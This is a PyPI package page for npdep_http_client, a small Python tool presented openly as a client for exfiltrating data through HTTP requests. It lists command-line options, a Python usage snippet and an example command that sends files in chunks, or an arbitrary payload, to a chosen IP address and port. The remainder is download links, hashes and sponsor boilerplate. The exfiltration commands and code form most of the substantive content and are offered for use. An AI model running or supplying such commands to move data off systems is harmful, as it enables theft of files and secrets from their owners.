Skip to main content

A client to exfiltrate data through HTTP messages

Project description

Description

A client to exfiltrate data through HTTP protocol

Installation

pip install npdep_http_client

Usage

From command line:

python -m npdep_http_client [-h] [--mode {payload,file}] --ip IP --port PORT [--pkgSize PKGSIZE] [--path PATH] [--filePath FILEPATH] [--payload PAYLOAD]

Option Short Type Default Description
--mode -m String file file = Sends file --filePath in --pkSize chunks per HTTP request
payload = Sends payload per HTTP request
--ip -i String - IP address of destination
--port -p Int - Port of destination
--pkgSize -k Int 1200 Nr. of bytes to load from file under --filePath in chunks
--path -t String / Path for HTTP request
--filePath -e String - Path to file which shall be send in mode: file
--payload -a String - Payload to be send in mode: payload

Programmatically:

from npdep_http_client.util.Util import Util
from npdep_http_client.type.RequestType import RequestType
from npdep_http_client.client.Client import Client

client = Client("10.10.10.10", 4567)

# Get request type
requestType = RequestType.VALUES["file"]

if(requestType == RequestType.FILE):
    Util.sendFileWithHttpRequest(client, 1200, "/", "path/to/file/data.txt")
elif(requestType == RequestType.PAYLOAD):
    client.sendHttpRequest(s=None, path="/", payload="information_for_exfiltration")
    

Example

python -m npdep_http_client -i 10.10.10.10 -p 4567 -m payload -a "information_for_exfiltration"

Sends information_for_exfiltration to 10.10.10.10 on port 4567 as an HTTP request.

Project details


Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

npdep_http_client-1.0.0.tar.gz (4.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

npdep_http_client-1.0.0-py3-none-any.whl (6.2 kB view details)

Uploaded Python 3

File details

Details for the file npdep_http_client-1.0.0.tar.gz.

File metadata

  • Download URL: npdep_http_client-1.0.0.tar.gz
  • Upload date:
  • Size: 4.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/5.1.1 CPython/3.13.0

File hashes

Hashes for npdep_http_client-1.0.0.tar.gz
Algorithm Hash digest
SHA256 cfb0ec437736bcaf1fde5481ae8375a71ea3fa6bcfdec3ec781b078d9ddbb53e
MD5 01e776eed1ff662dfd740bdcc9ca56a7
BLAKE2b-256 6c70ac0c735f8f6d2812bd2d9b151508395e3f936c4293c6024ed9ce1f58b293

See more details on using hashes here.

File details

Details for the file npdep_http_client-1.0.0-py3-none-any.whl.

File metadata

File hashes

Hashes for npdep_http_client-1.0.0-py3-none-any.whl
Algorithm Hash digest
SHA256 17573e7bc40707d042f0e39fc31905a4300210f32f15d28f005ba95ff140eb45
MD5 0779950b6bb3490e7a0317aa4eb58b4e
BLAKE2b-256 c47fa4de0fea8a9dc91212ca98a36a4b3fd2b0eb4103250de84b71e704130182

See more details on using hashes here.

Supported by

AWS Cloud computing and Security Sponsor Datadog Monitoring Depot Continuous Integration Fastly CDN Google Download Analytics Pingdom Monitoring Sentry Error logging StatusPage Status page